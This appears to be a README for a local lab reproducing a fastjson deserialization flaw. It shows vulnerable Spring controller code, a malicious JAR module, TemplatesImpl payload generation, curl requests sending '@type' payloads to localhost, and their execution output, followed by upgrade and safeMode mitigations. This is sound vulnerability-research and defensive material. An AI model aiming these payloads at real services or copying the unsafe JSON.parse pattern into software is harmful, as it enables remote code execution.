fastjson-cve-2026-16723/
├── pom.xml                              # 主项目（包含存在漏洞的 fastjson 的 Spring Boot 应用）
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot 入口点
│   └── controller/
│       └── VulnerableController.java    # 存在漏洞的 REST 端点
├── malicious/                           # 独立模块：用于供应链攻击模拟的恶意 JAR
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # 带有静态初始化器的恶意类
│       ├── EvilTranslet.java            # 用于 TemplatesImpl 内存模式的恶意 translet
│       └── GenTemplatesPayload.java     # 生成 TemplatesImpl JSON 载荷
├── templates-payload.json               # 生成的 TemplatesImpl 载荷（直接变体）
├── templates-payload-preload.json       # 生成的 TemplatesImpl 载荷（类预加载变体）
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // 存在漏洞：使用默认配置的 JSON.parseObject
    // 无需 ParserConfig.getGlobalInstance().setAutoTypeSupport(true)！
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // 强制反序列化为 Object —— 触发实际的类实例化
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

# 构建主应用
mvn clean package -DskipTests

# 构建恶意 JAR（独立模块）
cd malicious && mvn clean package && cd ..

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

curl http://localhost:8080/api/debug

curl http://localhost:8080/api/test

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

<!-- 选项 1：fastjson 1.x（推荐 1.x 用户使用） -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- 选项 2：fastjson 2.x（推荐新项目使用） -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

// 全局禁用 AutoType（部分缓解 —— 利用链仍可能绕过）
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 或使用 safeMode（fastjson 1.2.68+）
ParserConfig.getGlobalInstance().setSafeMode(true);